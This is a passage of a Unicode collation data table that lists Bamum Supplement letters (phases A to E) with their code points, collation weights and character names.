-16856 ; [.3798.0020.0002] # BAMUM LETTER PHASE-A MBAQ
-16857 ; [.3799.0020.0002] # BAMUM LETTER PHASE-B NSHUET
-16858 ; [.379A.0020.0002] # BAMUM LETTER PHASE-B TU MAEMGBIEE
-16859 ; [.379B.0020.0002] # BAMUM LETTER PHASE-B SIEE
-1685A ; [.379C.0020.0002] # BAMUM LETTER PHASE-B SET TU
-1685B ; [.379D.0020.0002] # BAMUM LETTER PHASE-B LOM NTEUM
-1685C ; [.379E.0020.0002] # BAMUM LETTER PHASE-B MBA MAELEE
-1685D ; [.379F.0020.0002] # BAMUM LETTER PHASE-B KIEEM
-1685E ; [.37A0.0020.0002] # BAMUM LETTER PHASE-B YEURAE
-1685F ; [.37A1.0020.0002] # BAMUM LETTER PHASE-B MBAARAE
-16860 ; [.37A2.0020.0002] # BAMUM LETTER PHASE-B KAM
-16861 ; [.37A3.0020.0002] # BAMUM LETTER PHASE-B PEESHI
-16862 ; [.37A4.0020.0002] # BAMUM LETTER PHASE-B YAFU LEERAEWA
-16863 ; [.37A5.0020.0002] # BAMUM LETTER PHASE-B LAM NSHUT NYAM
-16864 ; [.37A6.0020.0002] # BAMUM LETTER PHASE-B NTIEE SHEUOQ
-16865 ; [.37A7.0020.0002] # BAMUM LETTER PHASE-B NDU NJAA
-16866 ; [.37A8.0020.0002] # BAMUM LETTER PHASE-B GHEUGHEUAEM
-16867 ; [.37A9.0020.0002] # BAMUM LETTER PHASE-B PIT
-16868 ; [.37AA.0020.0002] # BAMUM LETTER PHASE-B TU NSIEE
-16869 ; [.37AB.0020.0002] # BAMUM LETTER PHASE-B SHET NJAQ
-1686A ; [.37AC.0020.0002] # BAMUM LETTER PHASE-B SHEUAEQTU
-1686B ; [.37AD.0020.0002] # BAMUM LETTER PHASE-B MFON TEUAEQ
-1686C ; [.37AE.0020.0002] # BAMUM LETTER PHASE-B MBIT MBAAKET
-1686D ; [.37AF.0020.0002] # BAMUM LETTER PHASE-B NYI NTEUM
-1686E ; [.37B0.0020.0002] # BAMUM LETTER PHASE-B KEUPUQ
-1686F ; [.37B1.0020.0002] # BAMUM LETTER PHASE-B GHEUGHEN
-16870 ; [.37B2.0020.0002] # BAMUM LETTER PHASE-B KEUYEUX
-16871 ; [.37B3.0020.0002] # BAMUM LETTER PHASE-B LAANAE
-16872 ; [.37B4.0020.0002] # BAMUM LETTER PHASE-B PARUM
-16873 ; [.37B5.0020.0002] # BAMUM LETTER PHASE-B VEUM
-16874 ; [.37B6.0020.0002] # BAMUM LETTER PHASE-B NGKINDI MVOP
-16875 ; [.37B7.0020.0002] # BAMUM LETTER PHASE-B NGGEU MBU
-16876 ; [.37B8.0020.0002] # BAMUM LETTER PHASE-B WUAET
-16877 ; [.37B9.0020.0002] # BAMUM LETTER PHASE-B SAKEUAE
-16878 ; [.37BA.0020.0002] # BAMUM LETTER PHASE-B TAAM
-16879 ; [.37BB.0020.0002] # BAMUM LETTER PHASE-B MEUQ
-1687A ; [.37BC.0020.0002] # BAMUM LETTER PHASE-B NGGUOQ
-1687B ; [.37BD.0020.0002] # BAMUM LETTER PHASE-B NGGUOQ LARGE
-1687C ; [.37BE.0020.0002] # BAMUM LETTER PHASE-B MFIYAQ
-1687D ; [.37BF.0020.0002] # BAMUM LETTER PHASE-B SUE
-1687E ; [.37C0.0020.0002] # BAMUM LETTER PHASE-B MBEURI
-1687F ; [.37C1.0020.0002] # BAMUM LETTER PHASE-B MONTIEEN
-16880 ; [.37C2.0020.0002] # BAMUM LETTER PHASE-B NYAEMAE
-16881 ; [.37C3.0020.0002] # BAMUM LETTER PHASE-B PUNGAAM
-16882 ; [.37C4.0020.0002] # BAMUM LETTER PHASE-B MEUT NGGEET
-16883 ; [.37C5.0020.0002] # BAMUM LETTER PHASE-B FEUX
-16884 ; [.37C6.0020.0002] # BAMUM LETTER PHASE-B MBUOQ
-16885 ; [.37C7.0020.0002] # BAMUM LETTER PHASE-B FEE
-16886 ; [.37C8.0020.0002] # BAMUM LETTER PHASE-B KEUAEM
-16887 ; [.37C9.0020.0002] # BAMUM LETTER PHASE-B MA NJEUAENA
-16888 ; [.37CA.0020.0002] # BAMUM LETTER PHASE-B MA NJUQA
-16889 ; [.37CB.0020.0002] # BAMUM LETTER PHASE-B LET
-1688A ; [.37CC.0020.0002] # BAMUM LETTER PHASE-B NGGAAM
-1688B ; [.37CD.0020.0002] # BAMUM LETTER PHASE-B NSEN
-1688C ; [.37CE.0020.0002] # BAMUM LETTER PHASE-B MA
-1688D ; [.37CF.0020.0002] # BAMUM LETTER PHASE-B KIQ
-1688E ; [.37D0.0020.0002] # BAMUM LETTER PHASE-B NGOM
-1688F ; [.37D1.0020.0002] # BAMUM LETTER PHASE-C NGKUE MAEMBA
-16890 ; [.37D2.0020.0002] # BAMUM LETTER PHASE-C NZA
-16891 ; [.37D3.0020.0002] # BAMUM LETTER PHASE-C YUM
-16892 ; [.37D4.0020.0002] # BAMUM LETTER PHASE-C WANGKUOQ
-16893 ; [.37D5.0020.0002] # BAMUM LETTER PHASE-C NGGEN
-16894 ; [.37D6.0020.0002] # BAMUM LETTER PHASE-C NDEUAEREE
-16895 ; [.37D7.0020.0002] # BAMUM LETTER PHASE-C NGKAQ
-16896 ; [.37D8.0020.0002] # BAMUM LETTER PHASE-C GHARAE
-16897 ; [.37D9.0020.0002] # BAMUM LETTER PHASE-C MBEEKEET
-16898 ; [.37DA.0020.0002] # BAMUM LETTER PHASE-C GBAYI
-16899 ; [.37DB.0020.0002] # BAMUM LETTER PHASE-C NYIR MKPARAQ MEUN
-1689A ; [.37DC.0020.0002] # BAMUM LETTER PHASE-C NTU MBIT
-1689B ; [.37DD.0020.0002] # BAMUM LETTER PHASE-C MBEUM
-1689C ; [.37DE.0020.0002] # BAMUM LETTER PHASE-C PIRIEEN
-1689D ; [.37DF.0020.0002] # BAMUM LETTER PHASE-C NDOMBU
-1689E ; [.37E0.0020.0002] # BAMUM LETTER PHASE-C MBAA CABBAGE-TREE
-1689F ; [.37E1.0020.0002] # BAMUM LETTER PHASE-C KEUSHEUAEP
-168A0 ; [.37E2.0020.0002] # BAMUM LETTER PHASE-C GHAP
-168A1 ; [.37E3.0020.0002] # BAMUM LETTER PHASE-C KEUKAQ
-168A2 ; [.37E4.0020.0002] # BAMUM LETTER PHASE-C YU MUOMAE
-168A3 ; [.37E5.0020.0002] # BAMUM LETTER PHASE-C NZEUM
-168A4 ; [.37E6.0020.0002] # BAMUM LETTER PHASE-C MBUE
-168A5 ; [.37E7.0020.0002] # BAMUM LETTER PHASE-C NSEUAEN
-168A6 ; [.37E8.0020.0002] # BAMUM LETTER PHASE-C MBIT
-168A7 ; [.37E9.0020.0002] # BAMUM LETTER PHASE-C YEUQ
-168A8 ; [.37EA.0020.0002] # BAMUM LETTER PHASE-C KPARAQ
-168A9 ; [.37EB.0020.0002] # BAMUM LETTER PHASE-C KAA
-168AA ; [.37EC.0020.0002] # BAMUM LETTER PHASE-C SEUX
-168AB ; [.37ED.0020.0002] # BAMUM LETTER PHASE-C NDIDA
-168AC ; [.37EE.0020.0002] # BAMUM LETTER PHASE-C TAASHAE
-168AD ; [.37EF.0020.0002] # BAMUM LETTER PHASE-C NJUEQ
-168AE ; [.37F0.0020.0002] # BAMUM LETTER PHASE-C TITA YUE
-168AF ; [.37F1.0020.0002] # BAMUM LETTER PHASE-C SUAET
-168B0 ; [.37F2.0020.0002] # BAMUM LETTER PHASE-C NGGUAEN NYAM
-168B1 ; [.37F3.0020.0002] # BAMUM LETTER PHASE-C VEUX
-168B2 ; [.37F4.0020.0002] # BAMUM LETTER PHASE-C NANSANAQ
-168B3 ; [.37F5.0020.0002] # BAMUM LETTER PHASE-C MA KEUAERI
-168B4 ; [.37F6.0020.0002] # BAMUM LETTER PHASE-C NTAA
-168B5 ; [.37F7.0020.0002] # BAMUM LETTER PHASE-C NGGUON
-168B6 ; [.37F8.0020.0002] # BAMUM LETTER PHASE-C LAP
-168B7 ; [.37F9.0020.0002] # BAMUM LETTER PHASE-C MBIRIEEN
-168B8 ; [.37FA.0020.0002] # BAMUM LETTER PHASE-C MGBASAQ
-168B9 ; [.37FB.0020.0002] # BAMUM LETTER PHASE-C NTEUNGBA
-168BA ; [.37FC.0020.0002] # BAMUM LETTER PHASE-C TEUTEUX
-168BB ; [.37FD.0020.0002] # BAMUM LETTER PHASE-C NGGUM
-168BC ; [.37FE.0020.0002] # BAMUM LETTER PHASE-C FUE
-168BD ; [.37FF.0020.0002] # BAMUM LETTER PHASE-C NDEUT
-168BE ; [.3800.0020.0002] # BAMUM LETTER PHASE-C NSA
-168BF ; [.3801.0020.0002] # BAMUM LETTER PHASE-C NSHAQ
-168C0 ; [.3802.0020.0002] # BAMUM LETTER PHASE-C BUNG
-168C1 ; [.3803.0020.0002] # BAMUM LETTER PHASE-C VEUAEPEN
-168C2 ; [.3804.0020.0002] # BAMUM LETTER PHASE-C MBERAE
-168C3 ; [.3805.0020.0002] # BAMUM LETTER PHASE-C RU
-168C4 ; [.3806.0020.0002] # BAMUM LETTER PHASE-C NJAEM
-168C5 ; [.3807.0020.0002] # BAMUM LETTER PHASE-C LAM
-168C6 ; [.3808.0020.0002] # BAMUM LETTER PHASE-C TITUAEP
-168C7 ; [.3809.0020.0002] # BAMUM LETTER PHASE-C NSUOT NGOM
-168C8 ; [.380A.0020.0002] # BAMUM LETTER PHASE-C NJEEEE
-168C9 ; [.380B.0020.0002] # BAMUM LETTER PHASE-C KET
-168CA ; [.380C.0020.0002] # BAMUM LETTER PHASE-C NGGU
-168CB ; [.380D.0020.0002] # BAMUM LETTER PHASE-C MAESI
-168CC ; [.380E.0020.0002] # BAMUM LETTER PHASE-C MBUAEM
-168CD ; [.380F.0020.0002] # BAMUM LETTER PHASE-C LU
-168CE ; [.3810.0020.0002] # BAMUM LETTER PHASE-C KUT
-168CF ; [.3811.0020.0002] # BAMUM LETTER PHASE-C NJAM
-168D0 ; [.3812.0020.0002] # BAMUM LETTER PHASE-C NGOM
-168D1 ; [.3813.0020.0002] # BAMUM LETTER PHASE-C WUP
-168D2 ; [.3814.0020.0002] # BAMUM LETTER PHASE-C NGGUEET
-168D3 ; [.3815.0020.0002] # BAMUM LETTER PHASE-C NSOM
-168D4 ; [.3816.0020.0002] # BAMUM LETTER PHASE-C NTEN
-168D5 ; [.3817.0020.0002] # BAMUM LETTER PHASE-C KUOP NKAARAE
-168D6 ; [.3818.0020.0002] # BAMUM LETTER PHASE-C NSUN
-168D7 ; [.3819.0020.0002] # BAMUM LETTER PHASE-C NDAM
-168D8 ; [.381A.0020.0002] # BAMUM LETTER PHASE-C MA NSIEE
-168D9 ; [.381B.0020.0002] # BAMUM LETTER PHASE-C YAA
-168DA ; [.381C.0020.0002] # BAMUM LETTER PHASE-C NDAP
-168DB ; [.381D.0020.0002] # BAMUM LETTER PHASE-C SHUEQ
-168DC ; [.381E.0020.0002] # BAMUM LETTER PHASE-C SETFON
-168DD ; [.381F.0020.0002] # BAMUM LETTER PHASE-C MBI
-168DE ; [.3820.0020.0002] # BAMUM LETTER PHASE-C MAEMBA
-168DF ; [.3821.0020.0002] # BAMUM LETTER PHASE-C MBANYI
-168E0 ; [.3822.0020.0002] # BAMUM LETTER PHASE-C KEUSEUX
-168E1 ; [.3823.0020.0002] # BAMUM LETTER PHASE-C MBEUX
-168E2 ; [.3824.0020.0002] # BAMUM LETTER PHASE-C KEUM
-168E3 ; [.3825.0020.0002] # BAMUM LETTER PHASE-C MBAA PICKET
-168E4 ; [.3826.0020.0002] # BAMUM LETTER PHASE-C YUWOQ
-168E5 ; [.3827.0020.0002] # BAMUM LETTER PHASE-C NJEUX
-168E6 ; [.3828.0020.0002] # BAMUM LETTER PHASE-C MIEE
-168E7 ; [.3829.0020.0002] # BAMUM LETTER PHASE-C MUAE
-168E8 ; [.382A.0020.0002] # BAMUM LETTER PHASE-C SHIQ
-168E9 ; [.382B.0020.0002] # BAMUM LETTER PHASE-C KEN LAW
-168EA ; [.382C.0020.0002] # BAMUM LETTER PHASE-C KEN FATIGUE
-168EB ; [.382D.0020.0002] # BAMUM LETTER PHASE-C NGAQ
-168EC ; [.382E.0020.0002] # BAMUM LETTER PHASE-C NAQ
-168ED ; [.382F.0020.0002] # BAMUM LETTER PHASE-C LIQ
-168EE ; [.3830.0020.0002] # BAMUM LETTER PHASE-C PIN
-168EF ; [.3831.0020.0002] # BAMUM LETTER PHASE-C PEN
-168F0 ; [.3832.0020.0002] # BAMUM LETTER PHASE-C TET
-168F1 ; [.3833.0020.0002] # BAMUM LETTER PHASE-D MBUO
-168F2 ; [.3834.0020.0002] # BAMUM LETTER PHASE-D WAP
-168F3 ; [.3835.0020.0002] # BAMUM LETTER PHASE-D NJI
-168F4 ; [.3836.0020.0002] # BAMUM LETTER PHASE-D MFON
-168F5 ; [.3837.0020.0002] # BAMUM LETTER PHASE-D NJIEE
-168F6 ; [.3838.0020.0002] # BAMUM LETTER PHASE-D LIEE
-168F7 ; [.3839.0020.0002] # BAMUM LETTER PHASE-D NJEUT
-168F8 ; [.383A.0020.0002] # BAMUM LETTER PHASE-D NSHEE
-168F9 ; [.383B.0020.0002] # BAMUM LETTER PHASE-D NGGAAMAE
-168FA ; [.383C.0020.0002] # BAMUM LETTER PHASE-D NYAM
-168FB ; [.383D.0020.0002] # BAMUM LETTER PHASE-D WUAEN
-168FC ; [.383E.0020.0002] # BAMUM LETTER PHASE-D NGKUN
-168FD ; [.383F.0020.0002] # BAMUM LETTER PHASE-D SHEE
-168FE ; [.3840.0020.0002] # BAMUM LETTER PHASE-D NGKAP
-168FF ; [.3841.0020.0002] # BAMUM LETTER PHASE-D KEUAETMEUN
-16900 ; [.3842.0020.0002] # BAMUM LETTER PHASE-D TEUT
-16901 ; [.3843.0020.0002] # BAMUM LETTER PHASE-D SHEUAE
-16902 ; [.3844.0020.0002] # BAMUM LETTER PHASE-D NJAP
-16903 ; [.3845.0020.0002] # BAMUM LETTER PHASE-D SUE
-16904 ; [.3846.0020.0002] # BAMUM LETTER PHASE-D KET
-16905 ; [.3847.0020.0002] # BAMUM LETTER PHASE-D YAEMMAE
-16906 ; [.3848.0020.0002] # BAMUM LETTER PHASE-D KUOM
-16907 ; [.3849.0020.0002] # BAMUM LETTER PHASE-D SAP
-16908 ; [.384A.0020.0002] # BAMUM LETTER PHASE-D MFEUT
-16909 ; [.384B.0020.0002] # BAMUM LETTER PHASE-D NDEUX
-1690A ; [.384C.0020.0002] # BAMUM LETTER PHASE-D MALEERI
-1690B ; [.384D.0020.0002] # BAMUM LETTER PHASE-D MEUT
-1690C ; [.384E.0020.0002] # BAMUM LETTER PHASE-D SEUAEQ
-1690D ; [.384F.0020.0002] # BAMUM LETTER PHASE-D YEN
-1690E ; [.3850.0020.0002] # BAMUM LETTER PHASE-D NJEUAEM
-1690F ; [.3851.0020.0002] # BAMUM LETTER PHASE-D KEUOT MBUAE
-16910 ; [.3852.0020.0002] # BAMUM LETTER PHASE-D NGKEURI
-16911 ; [.3853.0020.0002] # BAMUM LETTER PHASE-D TU
-16912 ; [.3854.0020.0002] # BAMUM LETTER PHASE-D GHAA
-16913 ; [.3855.0020.0002] # BAMUM LETTER PHASE-D NGKYEE
-16914 ; [.3856.0020.0002] # BAMUM LETTER PHASE-D FEUFEUAET
-16915 ; [.3857.0020.0002] # BAMUM LETTER PHASE-D NDEE
-16916 ; [.3858.0020.0002] # BAMUM LETTER PHASE-D MGBOFUM
-16917 ; [.3859.0020.0002] # BAMUM LETTER PHASE-D LEUAEP
-16918 ; [.385A.0020.0002] # BAMUM LETTER PHASE-D NDON
-16919 ; [.385B.0020.0002] # BAMUM LETTER PHASE-D MONI
-1691A ; [.385C.0020.0002] # BAMUM LETTER PHASE-D MGBEUN
-1691B ; [.385D.0020.0002] # BAMUM LETTER PHASE-D PUUT
-1691C ; [.385E.0020.0002] # BAMUM LETTER PHASE-D MGBIEE
-1691D ; [.385F.0020.0002] # BAMUM LETTER PHASE-D MFO
-1691E ; [.3860.0020.0002] # BAMUM LETTER PHASE-D LUM
-1691F ; [.3861.0020.0002] # BAMUM LETTER PHASE-D NSIEEP
-16920 ; [.3862.0020.0002] # BAMUM LETTER PHASE-D MBAA
-16921 ; [.3863.0020.0002] # BAMUM LETTER PHASE-D KWAET
-16922 ; [.3864.0020.0002] # BAMUM LETTER PHASE-D NYET
-16923 ; [.3865.0020.0002] # BAMUM LETTER PHASE-D TEUAEN
-16924 ; [.3866.0020.0002] # BAMUM LETTER PHASE-D SOT
-16925 ; [.3867.0020.0002] # BAMUM LETTER PHASE-D YUWOQ
-16926 ; [.3868.0020.0002] # BAMUM LETTER PHASE-D KEUM
-16927 ; [.3869.0020.0002] # BAMUM LETTER PHASE-D RAEM
-16928 ; [.386A.0020.0002] # BAMUM LETTER PHASE-D TEEEE
-16929 ; [.386B.0020.0002] # BAMUM LETTER PHASE-D NGKEUAEQ
-1692A ; [.386C.0020.0002] # BAMUM LETTER PHASE-D MFEUAE
-1692B ; [.386D.0020.0002] # BAMUM LETTER PHASE-D NSIEET
-1692C ; [.386E.0020.0002] # BAMUM LETTER PHASE-D KEUP
-1692D ; [.386F.0020.0002] # BAMUM LETTER PHASE-D PIP
-1692E ; [.3870.0020.0002] # BAMUM LETTER PHASE-D PEUTAE
-1692F ; [.3871.0020.0002] # BAMUM LETTER PHASE-D NYUE
-16930 ; [.3872.0020.0002] # BAMUM LETTER PHASE-D LET
-16931 ; [.3873.0020.0002] # BAMUM LETTER PHASE-D NGGAAM
-16932 ; [.3874.0020.0002] # BAMUM LETTER PHASE-D MFIEE
-16933 ; [.3875.0020.0002] # BAMUM LETTER PHASE-D NGGWAEN
-16934 ; [.3876.0020.0002] # BAMUM LETTER PHASE-D YUOM
-16935 ; [.3877.0020.0002] # BAMUM LETTER PHASE-D PAP
-16936 ; [.3878.0020.0002] # BAMUM LETTER PHASE-D YUOP
-16937 ; [.3879.0020.0002] # BAMUM LETTER PHASE-D NDAM
-16938 ; [.387A.0020.0002] # BAMUM LETTER PHASE-D NTEUM
-16939 ; [.387B.0020.0002] # BAMUM LETTER PHASE-D SUAE
-1693A ; [.387C.0020.0002] # BAMUM LETTER PHASE-D KUN
-1693B ; [.387D.0020.0002] # BAMUM LETTER PHASE-D NGGEUX
-1693C ; [.387E.0020.0002] # BAMUM LETTER PHASE-D NGKIEE
-1693D ; [.387F.0020.0002] # BAMUM LETTER PHASE-D TUOT
-1693E ; [.3880.0020.0002] # BAMUM LETTER PHASE-D MEUN
-1693F ; [.3881.0020.0002] # BAMUM LETTER PHASE-D KUQ
-16940 ; [.3882.0020.0002] # BAMUM LETTER PHASE-D NSUM
-16941 ; [.3883.0020.0002] # BAMUM LETTER PHASE-D TEUN
-16942 ; [.3884.0020.0002] # BAMUM LETTER PHASE-D MAENJET
-16943 ; [.3885.0020.0002] # BAMUM LETTER PHASE-D NGGAP
-16944 ; [.3886.0020.0002] # BAMUM LETTER PHASE-D LEUM
-16945 ; [.3887.0020.0002] # BAMUM LETTER PHASE-D NGGUOM
-16946 ; [.3888.0020.0002] # BAMUM LETTER PHASE-D NSHUT
-16947 ; [.3889.0020.0002] # BAMUM LETTER PHASE-D NJUEQ
-16948 ; [.388A.0020.0002] # BAMUM LETTER PHASE-D GHEUAE
-16949 ; [.388B.0020.0002] # BAMUM LETTER PHASE-D KU
-1694A ; [.388C.0020.0002] # BAMUM LETTER PHASE-D REN OLD
-1694B ; [.388D.0020.0002] # BAMUM LETTER PHASE-D TAE
-1694C ; [.388E.0020.0002] # BAMUM LETTER PHASE-D TOQ
-1694D ; [.388F.0020.0002] # BAMUM LETTER PHASE-D NYI
-1694E ; [.3890.0020.0002] # BAMUM LETTER PHASE-D RII
-1694F ; [.3891.0020.0002] # BAMUM LETTER PHASE-D LEEEE
-16950 ; [.3892.0020.0002] # BAMUM LETTER PHASE-D MEEEE
-16951 ; [.3893.0020.0002] # BAMUM LETTER PHASE-D M
-16952 ; [.3894.0020.0002] # BAMUM LETTER PHASE-D SUU
-16953 ; [.3895.0020.0002] # BAMUM LETTER PHASE-D MU
-16954 ; [.3896.0020.0002] # BAMUM LETTER PHASE-D SHII
-16955 ; [.3897.0020.0002] # BAMUM LETTER PHASE-D SHEUX
-16956 ; [.3898.0020.0002] # BAMUM LETTER PHASE-D KYEE
-16957 ; [.3899.0020.0002] # BAMUM LETTER PHASE-D NU
-16958 ; [.389A.0020.0002] # BAMUM LETTER PHASE-D SHU
-16959 ; [.389B.0020.0002] # BAMUM LETTER PHASE-D NTEE
-1695A ; [.389C.0020.0002] # BAMUM LETTER PHASE-D PEE
-1695B ; [.389D.0020.0002] # BAMUM LETTER PHASE-D NI
-1695C ; [.389E.0020.0002] # BAMUM LETTER PHASE-D SHOQ
-1695D ; [.389F.0020.0002] # BAMUM LETTER PHASE-D PUQ
-1695E ; [.38A0.0020.0002] # BAMUM LETTER PHASE-D MVOP
-1695F ; [.38A1.0020.0002] # BAMUM LETTER PHASE-D LOQ
-16960 ; [.38A2.0020.0002] # BAMUM LETTER PHASE-D REN MUCH
-16961 ; [.38A3.0020.0002] # BAMUM LETTER PHASE-D TI
-16962 ; [.38A4.0020.0002] # BAMUM LETTER PHASE-D NTUU
-16963 ; [.38A5.0020.0002] # BAMUM LETTER PHASE-D MBAA SEVEN
-16964 ; [.38A6.0020.0002] # BAMUM LETTER PHASE-D SAQ
-16965 ; [.38A7.0020.0002] # BAMUM LETTER PHASE-D FAA
-16966 ; [.38A8.0020.0002] # BAMUM LETTER PHASE-E NDAP
-16967 ; [.38A9.0020.0002] # BAMUM LETTER PHASE-E TOON
-16968 ; [.38AA.0020.0002] # BAMUM LETTER PHASE-E MBEUM
-16969 ; [.38AB.0020.0002] # BAMUM LETTER PHASE-E LAP
-1696A ; [.38AC.0020.0002] # BAMUM LETTER PHASE-E VOM
-1696B ; [.38AD.0020.0002] # BAMUM LETTER PHASE-E LOON
-1696C ; [.38AE.0020.0002] # BAMUM LETTER PHASE-E PAA
-1696D ; [.38AF.0020.0002] # BAMUM LETTER PHASE-E SOM
-1696E ; [.38B0.0020.0002] # BAMUM LETTER PHASE-E RAQ
-1696F ; [.38B1.0020.0002] # BAMUM LETTER PHASE-E NSHUOP
-16970 ; [.38B2.0020.0002] # BAMUM LETTER PHASE-E NDUN
-16971 ; [.38B3.0020.0002] # BAMUM LETTER PHASE-E PUAE
-16972 ; [.38B4.0020.0002] # BAMUM LETTER PHASE-E TAM
-16973 ; [.38B5.0020.0002] # BAMUM LETTER PHASE-E NGKA
-16974 ; [.38B6.0020.0002] # BAMUM LETTER PHASE-E KPEUX
-16975 ; [.38B7.0020.0002] # BAMUM LETTER PHASE-E WUO
-16976 ; [.38B8.0020.0002] # BAMUM LETTER PHASE-E SEE
-16977 ; [.38B9.0020.0002] # BAMUM LETTER PHASE-E NGGEUAET
-16978 ; [.38BA.0020.0002] # BAMUM LETTER PHASE-E PAAM
-16979 ; [.38BB.0020.0002] # BAMUM LETTER PHASE-E TOO
-1697A ; [.38BC.0020.0002] # BAMUM LETTER PHASE-E KUOP
-1697B ; [.38BD.0020.0002] # BAMUM LETTER PHASE-E LOM
-1697C ; [.38BE.0020.0002] # BAMUM LETTER PHASE-E NSHIEE
-1697D ; [.38BF.0020.0002] # BAMUM LETTER PHASE-E NGOP
-1697E ; [.38C0.0020.0002] # BAMUM LETTER PHASE-E MAEM
-1697F ; [.38C1.0020.0002] # BAMUM LETTER PHASE-E NGKEUX
-16980 ; [.38C2.0020.0002] # BAMUM LETTER PHASE-E NGOQ
-16981 ; [.38C3.0020.0002] # BAMUM LETTER PHASE-E NSHUE
-16982 ; [.38C4.0020.0002] # BAMUM LETTER PHASE-E RIMGBA
-16983 ; [.38C5.0020.0002] # BAMUM LETTER PHASE-E NJEUX
-16984 ; [.38C6.0020.0002] # BAMUM LETTER PHASE-E PEEM
-16985 ; [.38C7.0020.0002] # BAMUM LETTER PHASE-E SAA
-16986 ; [.38C8.0020.0002] # BAMUM LETTER PHASE-E NGGURAE
-16987 ; [.38C9.0020.0002] # BAMUM LETTER PHASE-E MGBA
-16988 ; [.38CA.0020.0002] # BAMUM LETTER PHASE-E GHEUX
-16989 ; [.38CB.0020.0002] # BAMUM LETTER PHASE-E NGKEUAEM
-1698A ; [.38CC.0020.0002] # BAMUM LETTER PHASE-E NJAEMLI
-1698B ; [.38CD.0020.0002] # BAMUM LETTER PHASE-E MAP
-1698C ; [.38CE.0020.0002] # BAMUM LETTER PHASE-E LOOT
-1698D ; [.38CF.0020.0002] # BAMUM LETTER PHASE-E NGGEEEE
-1698E ; [.38D0.0020.0002] # BAMUM LETTER PHASE-E NDIQ
-1698F ; [.38D1.0020.0002] # BAMUM LETTER PHASE-E TAEN NTEUM
-16990 ; [.38D2.0020.0002] # BAMUM LETTER PHASE-E SET
-16991 ; [.38D3.0020.0002] # BAMUM LETTER PHASE-E PUM
-16992 ; [.38D4.0020.0002] # BAMUM LETTER PHASE-E NDAA SOFTNESS
-16993 ; [.38D5.0020.0002] # BAMUM LETTER PHASE-E NGGUAESHAE NYAM
-16994 ; [.38D6.0020.0002] # BAMUM LETTER PHASE-E YIEE
-16995 ; [.38D7.0020.0002] # BAMUM LETTER PHASE-E GHEUN
-16996 ; [.38D8.0020.0002] # BAMUM LETTER PHASE-E TUAE
-16997 ; [.38D9.0020.0002] # BAMUM LETTER PHASE-E YEUAE
-16998 ; [.38DA.0020.0002] # BAMUM LETTER PHASE-E PO
-16999 ; [.38DB.0020.0002] # BAMUM LETTER PHASE-E TUMAE
-1699A ; [.38DC.0020.0002] # BAMUM LETTER PHASE-E KEUAE
-1699B ; [.38DD.0020.0002] # BAMUM LETTER PHASE-E SUAEN
-1699C ; [.38DE.0020.0002] # BAMUM LETTER PHASE-E TEUAEQ
-1699D ; [.38DF.0020.0002] # BAMUM LETTER PHASE-E VEUAE
-1699E ; [.38E0.0020.0002] # BAMUM LETTER PHASE-E WEUX
-1699F ; [.38E1.0020.0002] # BAMUM LETTER PHASE-E LAAM
-169A0 ; [.38E2.0020.0002] # BAMUM LETTER PHASE-E PU
-169A1 ; [.38E3.0020.0002] # BAMUM LETTER PHASE-E TAAQ
-169A2 ; [.38E4.0020.0002] # BAMUM LETTER PHASE-E GHAAMAE
-169A3 ; [.38E5.0020.0002] # BAMUM LETTER PHASE-E NGEUREUT
-169A4 ; [.38E6.0020.0002] # BAMUM LETTER PHASE-E SHEUAEQ
-169A5 ; [.38E7.0020.0002] # BAMUM LETTER PHASE-E MGBEN
-169A6 ; [.38E8.0020.0002] # BAMUM LETTER PHASE-E MBEE
-169A7 ; [.38E9.0020.0002] # BAMUM LETTER PHASE-E NZAQ
-169A8 ; [.38EA.0020.0002] # BAMUM LETTER PHASE-E NKOM
-169A9 ; [.38EB.0020.0002] # BAMUM LETTER PHASE-E GBET
-169AA ; [.38EC.0020.0002] # BAMUM LETTER PHASE-E TUM
-169AB ; [.38ED.0020.0002] # BAMUM LETTER PHASE-E KUET
-169AC ; [.38EE.0020.0002] # BAMUM LETTER PHASE-E YAP
-169AD ; [.38EF.0020.0002] # BAMUM LETTER PHASE-E NYI CLEAVER
-169AE ; [.38F0.0020.0002] # BAMUM LETTER PHASE-E YIT
-169AF ; [.38F1.0020.0002] # BAMUM LETTER PHASE-E MFEUQ
-169B0 ; [.38F2.0020.0002] # BAMUM LETTER PHASE-E NDIAQ
-169B1 ; [.38F3.0020.0002] # BAMUM LETTER PHASE-E PIEEQ
-169B2 ; [.38F4.0020.0002] # BAMUM LETTER PHASE-E YUEQ
-169B3 ; [.38F5.0020.0002] # BAMUM LETTER PHASE-E LEUAEM
-169B4 ; [.38F6.0020.0002] # BAMUM LETTER PHASE-E FUE
-169B5 ; [.38F7.0020.0002] # BAMUM LETTER PHASE-E GBEUX
-169B6 ; [.38F8.0020.0002] # BAMUM LETTER PHASE-E NGKUP
-169B7 ; [.38F9.0020.0002] # BAMUM LETTER PHASE-E KET
-169B8 ; [.38FA.0020.0002] # BAMUM LETTER PHASE-E MAE
-169B9 ; [.38FB.0020.0002] # BAMUM LETTER PHASE-E NGKAAMI
-169BA ; [.38FC.0020.0002] # BAMUM LETTER PHASE-E GHET
-169BB ; [.38FD.0020.0002] # BAMUM LETTER PHASE-E FA
-169BC ; [.38FE.0020.0002] # BAMUM LETTER PHASE-E NTUM
-169BD ; [.38FF.0020.0002] # BAMUM LETTER PHASE-E PEUT
-169BE ; [.3900.0020.0002] # BAMUM LETTER PHASE-E YEUM
-169BF ; [.3901.0020.0002] # BAMUM LETTER PHASE-E NGGEUAE
-169C0 ; [.3902.0020.0002] # BAMUM LETTER PHASE-E NYI BETWEEN
-169C1 ; [.3903.0020.0002] # BAMUM LETTER PHASE-E NZUQ
-169C2 ; [.3904.0020.0002] # BAMUM LETTER PHASE-E POON
-169C3 ; [.3905.0020.0002] # BAMUM LETTER PHASE-E MIEE
-169C4 ; [.3906.0020.0002] # BAMUM LETTER PHASE-E FUET
-169C5 ; [.3907.0020.0002] # BAMUM LETTER PHASE-E NAE
-169C6 ; [.3908.0020.0002] # BAMUM LETTER PHASE-E MUAE
-169C7 ; [.3909.0020.0002] # BAMUM LETTER PHASE-E GHEUAE
-169C8 ; [.390A.0020.0002] # BAMUM LETTER PHASE-E FU I
-169C9 ; [.390B.0020.0002] # BAMUM LETTER PHASE-E MVI
-169CA ; [.390C.0020.0002] # BAMUM LETTER PHASE-E PUAQ
-169CB ; [.390D.0020.0002] # BAMUM LETTER PHASE-E NGKUM
-169CC ; [.390E.0020.0002] # BAMUM LETTER PHASE-E KUT
-169CD ; [.390F.0020.0002] # BAMUM LETTER PHASE-E PIET
